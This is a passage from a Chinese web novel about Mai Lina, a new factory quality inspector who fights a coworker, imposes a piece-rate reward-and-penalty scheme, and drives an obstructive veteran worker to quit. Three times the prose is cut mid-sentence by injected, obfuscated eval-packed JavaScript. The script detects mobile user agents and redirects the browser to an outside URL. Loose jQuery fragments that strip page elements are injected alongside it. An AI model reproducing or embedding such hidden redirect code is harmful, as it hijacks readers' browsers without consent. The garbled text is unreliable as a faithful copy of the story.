麦丽娜毫不畏惧瞪回去。 “罗红英你干什么?!”桂姨怒斥一声,板着脸跑过来,挡在两人之间,拿起那两件衣服翻了翻,一件扔给麦丽娜,一件扔给罗红英,“去改!” “拿着鸡毛当令箭,真当自己是老板娘养的狗了?”罗红英捡起衣服,悻悻然回到自己车床上,故意把缝纫机踩得震天响,转头对隔壁工位的姐妹嚷道:“吓她一下,就急着叫家长了!” 车间里发出一阵哄笑。麦丽娜发作不得,耳根烧得通红,捏住那件返工的衣服,硬憋着一肚子气坐下。 桂姨狠狠瞪了罗红英一眼,又警告地看了眼麦丽娜,黑着脸走了。 下班回到宿舍,麦丽娜对着桂姨一顿抱怨。桂姨冷冷一笑:“想立威,哪有那么容易?” 麦丽娜抱怨的话还没说完,就被呛了一口,脸上一阵青一阵白。 一直到后来,麦丽娜才想明白这根本不是什么“优差”,一来就干得罪人的活,是桂姨故意整她的——但此时她想的却是“再让人看笑话,我他妈要卷铺盖走人了。” 冤家路窄。洗完澡,麦丽娜抱着一盆衣服去公用洗漱台洗衣服,偏不巧,前一个占住水龙头的正是罗红英。 厂子为了节约用水,只在晚上8点到10点之间将水流开大,此刻水龙头前已经排了十几个等着接水的女工。 而罗红英那盆子已经接满了水,正起劲地给衣服过水。 “接满了还不让让?” 麦丽娜抱着盆子等她挪开。 “谁规定接满了不能接。” 罗红英慢条斯理地搓衣服,故意让麦丽娜干站着。 麦丽娜冷着脸,将罗红英的盆重重推开,把自己的水盆放到水龙头下。 罗红英立刻推开麦丽娜的盆,“一边去!” “你去旁边洗不行吗?!”麦丽娜又将自己的水盆推过去。 罗红英二话不说,一手掀翻麦丽娜的盆,刚接的水洒了,盆里的内衣全掉地上。 麦丽娜也不废话,端起罗红英那满盆水朝她用力一泼! —— 湿透的罗红英愣了没有半秒,一巴掌扇麦丽娜脸上!麦丽娜怎可能服输,扯住罗红英的头发就是一巴掌! 自由搏击开赛,没有人喊“打人了”,也没有喊“住手”,工人们围上来笑嘻嘻地看。 两人揪着对方的头发衣服你一拳我一掌,毫无章法,但气势十足。地面很滑,麦丽娜一脚踩在地上衣服上摔倒,罗红英像只狼一样扑上来就打。 罗红英30来岁,湖北人,脾气火爆出招狠,抓住麦丽娜的上衣领口,重拳砰砰落在麦丽娜身上,旁人见了都暗自吃痛。 上衣领口无法扛住这么大的力气,“刷——”一声撕破一大道口子。 挨打成家常便饭的麦丽娜不怕痛,但见新买的衣服又被撕裂,一把火直烧天灵盖,猛地用膝盖顶向罗红英肚子!趁她退缩那一霎,翻身坐到罗红英腰上左右开弓! 围观的人起哄,想不到黑黑瘦瘦的麦丽娜这么能打,竟将身壮力健的罗红英压制住,下手毫不留情。开始有人喊“别打了!别打了!” 打红眼的麦丽娜岂能说停就停,正想乘胜追击,突然双手被人拉住,整个人拽离罗红英身上。 保安跟阿德一人一边将她拖走。 麦丽娜脸红得像关公,衣服领子被拽松,短袖撕破挂在肩膀上,脖子手臂全是血痕。 罗红英好不了多少,一摸鼻子,鼻血忽地流下来,抹了一脸。她踉跄了两下站起来,指指麦丽娜,一时说不出话。 女工们都站到罗红英一边,麦丽娜见此,心里泄气半分,但输人不输阵,举手朝罗红英比划:“不服再来啊!” 阿德连忙将她拽走。“再打就将你们送去派出所!” 走出厂区,麦丽娜甩开阿德,气鼓鼓地走在前面。 “去哪?”阿德慢悠悠跟着,“要不要涂药?” “不用。”麦丽娜硬邦邦地甩了一句。 身后传来低笑,麦丽娜猛一转头:“笑什么?!没见过女人打架?” “张牙舞爪的见得多了,”阿德双手插兜,一脸揶揄,“真能打得起来的不多,像你这么生猛的头一回见!” “顶你个肺!”麦丽娜火气未消,脚步迈得更快了。 “别走了。知道你没钱。” 麦丽娜脚步硬生生地停住。 “哎,没那个本事又学人家古惑仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317740|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打架……”阿德从街口的小店买了瓶铁打酒,递给她,“我像你这么大的时候……” 麦丽娜一句话都没听进去,倒了药酒就往身上红肿的地方涂抹,这时候才感觉身上各处火辣辣的痛。 “记账上,等发钱一起还你。” 阿德挥挥手,“还要什么?” “再要支汽水。”反正欠了钱,干脆多欠点。 阿德给麦丽娜开了支的可乐,自己一支啤酒,两人抓住冰冻的玻璃瓶咕咚咕咚地灌。 麦丽娜舒服地叹一口气,将玻璃瓶按在肿起发热的地方。“我是明天走还是干完一个月?” “怎么,怕了?要跑路?” “怕什么?她们能要我命不成?”麦丽娜没好气地斜了眼阿德,“那帮人不服管,我现在又惹了她们,接下来不知多少事呢。老板不舍得开除工人,只会开除我这种闲人。” 阿德“嘿”地一笑,“这种小事老板不会在意的,他在意的只有赚钱,只要你不坏他的货,他管你们干嘛。” 麦丽娜想想也对,又猛灌一口可乐。 “她们欺负你新来,你要是这样走了,正好中她们的计。” 阿德招招手,示意她靠近,“我教你两招。” 麦丽娜凑过去,边听边不停地点头。 第二天上班,麦丽娜板着脸绞起手巡查车间。 走到中间,她大声说:“我质检比较严,大家有意见,我是知道的。我不想讲什么大道理,干脆立一个新规矩——” 几十部缝纫机梭梭梭地响,没人听她讲话。 “想赚钱的就听我讲。” 麦丽娜顿了顿,等待杂音安静下来。 “以后月结计件时,该组当月产量达标,即在当月工资中额外加5%奖金。一个月合格率大于95%的,下个月的计件单价额外提升5%。” “相反,该组未完成当月产量的,工资扣5%。一个月合格率小于85%,下个月的计件单件降低5%。” 有人反应过来,开始嘀咕:“合格率这么高,只怕奖金赚不了,还要被罚款。” 麦丽娜不理他们,继续说道:“新员工前10天出现返工,不扣钱,但从第11天起,因工人失误导致返工的,只计半价,一周超过5次返工的,计件单件再降5%。” 工人们议论纷纷,不满变严了的规定。“她这明显在整我们……” “当然,有奖就有罚,有罚就有奖。一周零返工的,每人50元;一个月零返工的,每人200元,直接给钱!” 工人们原地炸开,“一个月多两百块,这不等于变相加工资吗?”“谁能一个月不返工,那不成神仙了吗?” 有人很快算出,“要是能做到产量达标,合格率又达到95%以上,这工资……能涨10%!”“扣的也是10%啊!”工人们停下手中活计,七嘴八舌地讨论起来。 “如果对质检判定有异议的,找我或者桂姨说明,我们会再一次复核,当天就反馈复核结果……” 麦丽娜再说什么工人们已经没心听讲,都在算自己接下来会亏还是会赚。 “没有人反对,那就这样定了!”不等他们反应,麦丽娜拿出早已写好的奖惩条例贴在墙上,这下谁进出都能看到。 这几道规定定下来,再想毛毛躁躁过关是不行的,要赚更多的钱,就得提高自己的工艺水平。 麦丽娜暗暗给自己竖起大拇指,这下该把他们治住了吧。 中午正得意地吃着饭,阿德一屁股坐她对面,“怎么回事?我昨天说的你都没听。这规定谁想出来的?周永隆?” 麦丽娜摇头。 “眉姐?” 麦丽娜摇头。 “你想出来的啊?” 麦丽娜瞥了他一眼,“秘密。” 阿德不耐烦:“你这样搞不行的,他们根本不吃你这套,赶紧撤了!” 11. 你想立规矩? 麦丽娜满不在乎,继续吃着饭。 “急啥,有事我担着。” “你担?你一分钱都没有,怎么给他们发奖金?到时候一结账发现你骗了他们,就不是一个人跟你打了!” 麦丽娜笑,“打我?我给他们加钱他们还打我?你看吧,没两天他们就知道感谢我了。” “这事你跟老板娘说了没有?” 阿德脸上充满了不信任,“你定这些规矩她允许吗?别以为她说让你管,你就可以乱来。” “喂,阿德。” 麦丽娜不想叫他德哥,“我跟你打个赌好不?” “赌啥?” “如果这事我能完美解决,我欠你的钱就不用还了。” “嘿!这点小事,你怎么天天记着?你脑子里只有钱吗?” “打工不就是为了钱吗?”麦丽娜不以为然一笑,夹了一块五花肉满满地塞自己嘴里。 阿德教的什么骂人立威、什么发展内奸,她才不屑于做呢。本来已经剑拔弩张了,变本加厉只会死路一条。 她相信新规定颁布下来,成果很快会见效——搞人会让人反感,但搞钱,没有人不喜欢。 果然,接下来几天车间衣车“哒哒”依旧嘈杂,工人们吵吵闹闹的声音却少了很多。工人们们不是在赶产量,就是想办法提高合格率,以便提升下个月的计件单价。 桂姨将工资说得夸张了,工人们加班的时候一个月才赚一千五,能多赚点谁不削尖脑袋啊。 然而,这声音中夹杂着一种沉闷、拖沓的嗡鸣。 麦丽娜在流水线旁巡视,很快便觉察到几个工人手上的动作明显比其他组慢。 她认得她们。这几个女的,跟罗红英这种有事直接上手的不同,总喜欢非暴力不合作。 手工好的李招娣这两天老抱怨,说组里其他人总是找她帮忙。“阿娣,你手快,帮我把这几件也做啦,不然我们组产量不达标,大家都没奖金。” 李招娣没办法,硬着头皮帮她们做,有时连晚饭都来不及吃。 “曹月香,怎么回事?你这条线缝了三次拆了三次?”麦丽娜脚步停在一女工前。 曹月香头也不抬,嘟囔着说:“你定的规矩还不知道吗?做快了怕出错,一出错不光没奖金,还要倒扣。不如慢工出细活,保本要紧啊。” 旁边的组员附和道:“这规矩不就是逼着我们这些手脚慢的去死吗?” 周围几个女工偷偷抬头看好戏。 麦丽娜早有预料,趁机大声道:“规矩不是逼谁,是帮大家把路走正。手脚慢的慢慢做是对的,但更要学着做对。” 她顿了顿,“从今天起,每天下班我让刘芳多留半个钟,专门教你们这些手脚慢的走直线、锁边角。这一周就当给大家培训,你们有什么问题可以请教她。” “厂里不是要逼死谁,是要带着大家一起赚更多!愿意提升自己技能的,可以留下来一起学,这个周学不会的,我不罚。但下个周还拿‘手脚慢’当借口的,就别怪我不留情面了!” 说着她转向李招娣,“另外,如果一组人水平相差太大,可以申请调组,前提是对方愿意接收你。想留住技术好的组员,唯一的办法就是提升自己技术,等技术上去了,自然有人抢着跟你搭档。” 麦丽娜铿锵有力地说完,曹月香和旁边组员在她眼皮底下嘀咕着什么,她不理会,她只需要趁这机会立威,争取大多数人的支持。 李招娣向她投来感激的一瞥。 麦丽娜微微点了点头,用眼角余光瞟了眼罗红英,只要她敢站起来说话,那就把她也削一下。 怪了,这人怎么回事?一点动静都没有。 麦丽娜眯起眼,继续耐心观察。 罗红英不但没有公然挑衅,在留下来参加刘芳培训的人里,她学得比谁都认真。 难不成她看错了这女人? 不管了。 手下败将,怕她作甚。 一周后,首个“零返工标兵”评选结果出炉。 当刘芳和李招娣的名字被念出,并将获得50元奖金时,整个车间的目光都聚焦在她们身上。 看着那混杂着羡慕、嫉妒,还有几分跃跃欲试的目光,麦丽娜不禁有些自得。 在实实在在的利益面前,熟手工为了保住自己的收入,自然会主动抵制“磨洋工”的行为。至于底下那些说她“为了表功故意提高标准压榨工人”的闲言碎语,她根本不屑一顾。 但事情不会这么简单结束。 对部分人的轻视,很快让她尝到了苦头。 几天后,一批准备出货的衬衫领口处被污染了一大片,整整五十件,根本无法挽救。这批货是技术最好的刘芳小组做的,绝不可能犯这种低级错误。 麦丽娜和桂姨仔细检查,在堆放布料的角落发现了一个被踩扁的、印着油墨的红色印台。这分明是有人趁人不备,故意将印台扔进了待包装的成衣堆里。 没有监控,找不到元凶。 桂姨捏着那脏兮兮的印台,重重塞到麦丽娜手里。 “以前大家和和气气做工,哪有这种龌龊事?现在好了,逼得人背后使绊子!五十件货就这么废了,这笔账算谁的?是你麦丽娜来赔,还是让全车间跟着倒霉?” 桂姨厌恶地看着她,毫不留情地继续数落: “我早说过,管人不是靠几张纸的规定就行得通的。你把她们逼得太紧,她们就有一百种法子让你不好过!今天能扔印台,明天就敢剪电线!你这套,在这间老厂里行不通!” 麦丽娜的脸一阵青一阵白,犟着脖子顶嘴道:“我的制度没问题,有问题的是那些见不得光的手段。我不会就这样认输的!这制度才推行两个星期,我一定要将它贯彻下去,如果就这样废了,以后更没人把我的话当一回事!” 她冷着脸回到车间,在所有人的注视下,拿起那个脏污的印台,举到大家面前: “刚才在打包那里发现五十件衬衣被印台染色,这五十件货的损失,算我监管不力,记在我个人账上,从我工资里扣!” 这话像一块石头砸进水面,激起一片哗然。“怎么回事啊?”“谁弄的?”“明显是故意的!” “我不知道是哪个环节出现问题,现在去扯皮也没用,没有人会认。” 麦丽娜压住怒气说,“桂姨说得对,管人不能只靠规定。所以从今天开始,每批货的流转都会登记经手人。谁负责裁剪,谁负责缝制,谁负责质检,白纸黑字,清清楚楚。打包处也会装上监控,谁进去、谁出来,全都一清二楚。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317741|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有一个,每条流水线实行小组联保制。再发生这种破坏,整组人当月的质量奖金全部取消!” 她目光扫过曹月香和她身边那几个老工人,“既然有人暗地里做手脚,敢让大伙一个月的功夫白干,那就让大伙把这只老鼠揪出来!” 几十辆衣车暂停运作,车间里静悄悄,工人目光聚焦在麦丽娜身上,麦丽娜以为她把工人镇住了,可渐渐地,这些目光转移到她身后。 眉姐不知什么时候来了,靠门站着。 “丽娜,出来一下。”眉姐的语气冷冷清清,不带一丝热情。 女工们露出一副幸灾乐祸的看戏表情。 眉姐把麦丽娜叫到办公室,没让她坐,自己先慢条斯理地喝了口茶,才抬眼看她。 “阿娜,我耳朵快被你的名字塞满了。几个老师傅跑来我这儿掉眼泪,说干不下去了。桂姐也天天跟我诉苦,说车间快被你搞散架了。” 她放下茶杯,声音冷了几分:“永隆能开到今天,靠的是老师傅们的手艺,你把人都逼走了,谁给我车衫?” “对不起眉姐,我太心急了。我看车间的规章制度有点简单,几乎全靠桂姨一个人凭经验和人情盯着。这套方法管二三十人可以,以后人多了怎么办?等老板把大单接回来,我们却因为质量不达标被退货,到时候损失的就不是几个老师傅的眼泪了!” 麦丽娜一口气说完,场面冷了半分。 眉姐不说话,只是阴森森地看着她,“你这话说得比我还像领导,面试时看你大大咧咧,没想到这么有想法。” 麦丽娜心中一惊,知道自己用错了力,顶撞了上头,忙走前挽救: “眉姐,你可千万别这样说,你才是我的领导!我之前在皮革厂上班,那是我们那边最大的厂子了,好几百人。他们用的就是这种管理方法,直接让效率不知提高了多少倍!我是亲眼见过的!” 麦丽娜没有说谎,从初中起,每年的寒暑假她都被老麦赶去做零工。高中时她为了挣生活费,去了最辛苦的皮革厂,那种混合着化学鞣制剂、动物脂肪和腐烂蛋白质的浓烈腥臭,让她一想起就要吐。 她的工作是给鞣制好的皮革修剪边角。厚重的、湿漉漉的皮革堆在操作台上,她需要抡起沉重的大号剪刀,一遍遍剪掉不规则的部分。一天下来,虎口被磨得血肉模糊,汗水浸入伤口,钻心地疼。双臂因为持续用力,控制不住地发抖,连饭碗都端不稳。 当时为了提高效益,厂子特意招了个大学生主管。大学生主管提出了这套科学的管理办法,确实收到不错效果。麦丽娜看好他,还想着高中毕业后进来,跟他混,过几年等他升职了,自己坐上他的位置,人生目标也就达成了。 可惜,厂子去年倒闭,几百人被遣散,再厉害的人物也敌不过时代的车轮。 这套管理方法,被麦丽娜有心记了下来。都是管工人、提产能,她相信大差不差,定能派上用场。 可眉姐依然不表态。 麦丽娜心里七上八下,放低姿态恳求道: “眉姐,咱们在电话里不是说好了吗,你给我一个月时间,现在才半个月,还有半个月呢。一个月你再看看效果,我敢保证情况一定会改善的。” 眉姐面无表情地看着麦丽娜,直把她看得心里发毛。 12. 老鼠屎与搞屎棍 正当麦丽娜不知该如何是好时,眉姐终于说话了。 “你那晚打电话给我,说要加强车间管理,推行新的制度,我觉得你挺有胆色的,刚来就敢这么搞,也不怕得罪人。” 眉姐往椅背上一靠,眼神里多了几分审视, “你是年轻人,有冲劲,这个很好,我给你这个机会,但是你也要讲究方法,工人你可以管,但要是管出大乱子、或者耽误了出货……那就不好收科了。” “不怕,他们的招数已经出尽,不会翻起什么浪花的。”麦丽娜信心十足地保证,随之话锋一转:“只是我现在光靠一张嘴,没有真手段震慑住他们。” 她走前一步,来到眉姐身边,低声说道:“眉姐,有些人真是一只老鼠坏了一锅粥,不能就这样算了。就好像车间里那个……” 眉姐打量了她很久,缓缓向她比了一根手指,小声说了句什么。 麦丽娜点点头,满意地领命而去。 在她走后,眉姐挂了个电话给周永隆。 “……车间的事你都知道了吧?……我让她继续搞。”她皱了皱眉头,耐心地解释:“你听我说完。麦丽娜这套,我仔细想了,未必是坏事。 我们明年计划要扩招,产量要翻上去,现在车间里这批老师傅,仗着资历老,手艺却参差不齐,本来就是个大问题。现在有人愿意出面当这个‘恶人’,帮我们把不达标的、不听管的人筛出来,不是正好吗?” 眉姐揉着眉心,话语间已经很明确,“这把刀就让她去当。风气整顿好了,厂子效率能上来,到时再招人也好管;她要是搞砸了,就让她走人,我们安抚一下老员工,也算维持稳定。” 最后,她特意强调:“桂姐那边要是找你哭诉,你听着就行了。她管了这么多年车间,也该动一动了。” 放下电话,眉姐想了想,还是决定去车间露个面,稳定一下“军心”。 她踱步到车间,脸上挂着一贯的和气,拍拍手吸引大家的注意。“各位师傅,最近辛苦了。阿娜推行新制度,也是为了我们厂子好,大家要理解,要支持。” 她目光扫过曹月香那伙人,语气温和:“当然了,老师傅们也是厂里的功臣,有什么困难,可以慢慢沟通,不要伤了和气。” 说完,她象征性地在车间里转了小半圈,向麦丽娜点点头,便出去了。 麦丽娜脸上看不到任何情绪,没有得意,也没有挫败,低头继续做质检。 曹月香嗤笑一声,扭头跟旁边人说:“瞧她刚才那个嚣张样,回来像只鹌鹑似的。切,都不知道自己什么身份,老板娘还没放话呢,就敢在这里指手画脚。” “铁定被骂惨了,你看她,心虚得一句话不敢说。”几个人暗笑。 到了下班时间,曹月香把手里的布料往旁边一扔,拍拍屁股就往外走。旁边的罗红英问她:“你不去看刘芳车衣吗?” “我来的时候她还没来呢,跟她学?”曹月香上下扫了眼罗红英,“你比人家大多少岁了,还挤在小姑娘堆里听课呢。” “你管她多少岁,人家车衣就是比你好。”罗红英一点都没惯着她,大声说:“幸好没跟你一组,不然我拿个奖金都得分你这种拖后腿的一份。” 曹月香脸上挂不住,啐了一口:“怎么?跟人打架被打服了?现在转过来帮鹌鹑做事了?” “我管她是鹌鹑还是乳鸽,帮我赚钱就是好领导,搞我赚钱就是拦路虎。” “呸,钱还没到手就把你收买了,没骨气的东西!” 曹月香憋了一肚子气走了,其他几个落后老员工不是说“有事”就是“身体不舒服”,没有一个人去参加培训。 接下来一周曹月香和几个老员工依旧慢悠悠地出活,检查出次品,就互相推诿,嘴里还不停地抱怨新规矩如何如何不合理。 麦丽娜没有立刻发作,利用一次小组微调的机会,顺理成章地将曹月香和那几个老员工全部编入了同一个组。 其他组的工人们暗中叫好,终于不用被这几个“老鼠屎”拖累。而被孤立出来的曹月香小组,则感觉自己被“特殊对待”,更加愤愤不平。 一周后,这组人不但产量没达标,合格率也仅有七成。 麦丽娜神色平静地对她们发出警告:“我再给你们一周时间追赶,产量和合格率再不达标,就按规定扣减。再有一个月是这样,你们就收拾包袱走人吧。” 麦丽娜走后,彩萍悄悄拉住曹月香,“她好像来真的,这样跟她硬顶,最后扣的是咱们自己的钱……” 曹月香拂开彩萍的手,拔高嗓门:“吓唬谁呢?告诉你,走的不会是我们,是她!现在哪个厂不缺人?老板招工都招不到,会舍得开除我们这些老工人?要开也是先开掉她这种没事找事、搞得车间鸡飞狗跳的主管!” 见大家看过来,曹月香续了口气又说: “看人家‘家家美’,大家团结起来把那搞屎棍主管赶走了,你们只会躲在这里看戏。没种的东西!累死累活赚这点钱你们愿意?被人挑来挑去你们愿意?下班不让你休息还逮着你培训你愿意?” 把心里的话骂出来是很爽,可惜敢跟她站一道的可没几个。 “你知道你们爱看戏,别以为她只拿我开刀,除了那几个手工好的,你们一个都跑不了!等着看吧!” 曹月香怨气十足地剜了周围几个工友一眼,大家见她这样,更没人理她了。 一个月转瞬即逝,结算日这天,麦丽娜站在车间中央的过道上,手里拿着考核表。所有工人都停下了手中的活,车间里静得能听见吊扇转动的声音。 “我先说好消息。” 麦丽娜平稳地开口,“这个月,我们车间的整体表现比上个月有明显提升,产量提升了两成,合格率达到91%。七个小组里,做得最出色的是刘芳组——” 她刻意停顿,目光扫过众人,“不仅产量超额完成,合格率达到了97%。按照规矩,这个月组员每人工资加发5%,而且从下个月起,她们的计件单价永久上浮5%!” 人群中响起低低的惊叹。刘芳和组员们脸上绽开光彩,含蓄地交换着眼神。 “其次是李招娣组,产量达标,合格率94%……” 她逐一点评表现良好的小组,每念到一个名字,就引来一片羡慕的目光。那些自知表现不佳的工人则开始坐立不安,有人交头接耳,有人面露怀疑。 “大家如果担心自己的数据有误,可以随时来找我核对。你们交件时都签过名,每一笔都有记录。这次没有加工资的,也不用灰心。”麦丽娜适时安抚,“下个月可以继续努力,机会对每个人都是公平的。” 说完,她转向了最后一个小组。 “曹月香组,”麦丽娜目光扫过来,“产量只有七成,合格率82%,按规定,本月工资扣5%,下个月计件单价下调5%。” “凭什么只拿我开刀?罗红英那组速度跟我差不多,你怎么不扣她们的?”曹月香指着罗红英大声质问。 “她们组没问题,之前是慢了点,但后面她们想办法赶上来了。”麦丽娜不慌不忙地解释。 “她们找刘芳帮忙赶工的,就为了下个月加钱,这不等于作弊吗?给一点钱请个外援,然后全组都领奖,不就是骗厂里的钱吗?”曹月香杀红了眼,将问题上升到骗厂里的钱的高度。旁边彩萍拉她衣袖,被她狠狠甩开。 “规矩里只写了按时按质完成,从没说过不能互相帮助。”罗红英耸耸肩,“你要是也能找到人帮忙提高合格率,人家照样给你发奖金。” 麦丽娜自然知道此事,但她不能制止工人们“互相帮助”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318755|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能借机敲打。“刘芳只有一个,不可能天天给你们赶工。下个月不达标,照样要扣钱。” “好啊,敢情你们都耍花样,就他妈欺负老实人!” 曹月香两步走到麦丽娜面前,指着她鼻子大骂,“我做得好好的,你来了就一直针对我,你个贱货不就是靠陪睡上位的吗?” “明明是你自己烂泥扶不上墙,连最简单的锁边都做不好,除了会张嘴喷粪还会什么?” “你敢骂我?!” 曹月香没想到新来的黄毛丫头敢这样丢她的脸,气得伸手一扬—— 吃过亏的麦丽娜头一偏,完美地避开。“怎么?又想打架?小心点,弄坏了这些衣车你工资不够赔的!” “你这贱货,冲着有人给你撑腰你就乱来!我告诉你,你他妈就是脱光了躺地上,也没人愿意多看你一眼!一个农村来的破鞋,真当自己是什么东西了?” “曹月香,你再多说一句,我就撕烂你这张臭嘴,让全世界都知道你被个农村的破鞋挠花了脸,看你怎么出去见人!”麦丽娜脱下外套准备干架。 曹月香一张脸涨成猪肝色。“老娘不干了!”她一把扯下围裙摔在操作台上,撞开椅子就往车间外走。 整个车间鸦雀无声,只有她愤怒的脚步声。 麦丽娜把脱下的外套重新穿上,冷冷开口:“还有人要走吗?现在可以一起办手续。” 全场鸦雀无声。 没有人出来留曹月香。桂姨也没有。 结清工资几个小时后,曹月香打包自己的东西离开了永隆。 全厂人看在眼里,聪明的都知道没有老板和老板娘的默许,新来的麦丽娜不敢这样做。 晚上,阿德请她吃饭,吃完又要给她敬酒。 “不错嘛,刚来没多久就降服了那班老油条,是我有眼不识泰山,敢教你做事!我自罚一杯,你多多见谅!” 阿德自己灌了一杯,又说:“我真想不明白,年纪轻轻,咋就这么强呢?我像你这么大的时候——” 麦丽娜一口闷完酒,重重地往桌面一放。 “跟你说,我的本事还没使出呢!姐是什么人?什么牛鬼蛇神我没见过?敢跟我斗!我上班的时候,你还在穿尿片呢!” 这次车间的事完美解决,麦丽娜着实松一口气,眯着眼吹起牛皮。 “永隆这个车间,根本就没人管。黑山老妖镇不住小妖,小妖都要反了,她还在打瞌睡。我告诉你,现在我来了,管她曹月香还是李月香,做不好都给我滚!” “厉害厉害!有本事、有手段,我佩服!以后你当厂长,记得多多提携小弟!” “抬举了抬举了……”麦丽娜打嗝了口酒气,摆摆手,“没有你,我麦丽娜哪走得到今天?我这个月工资压着,还得问你借钱呢。”她的语气一下子弱了下来。 “咱俩朋友,说啥‘借借借的’这么见外。以后你要多少钱尽管问我拿!想买什么跟我说!反正我就跟你混了。” 阿德借着酒意看她,眼睛亮晶晶的透着夜色。 “咋混啊?”麦丽娜剔着牙,满不在意地说,“这地头有啥好混呀?” “嘿!这你就不知道了,饭堂吃不惯吧?六婶炒菜都不舍得放油!什么时候你有空我带你去外面吃。” “吃一顿还是很多顿?” “你说呢?” “太花钱了,不大好吧?” “有什么不行。”阿德凑近小声说:“我开车出去办事,吃饭有报销,咱把发票插进去——”阿德递出个“你懂得”的眼神。 从来只有她讨好别人,这是第一次有人讨好她——尽管这种方式上不了台面。 麦丽娜心里掠过一丝感激,抬头却是一副老痞子的表情: “叼,老友,你是不是想追我?”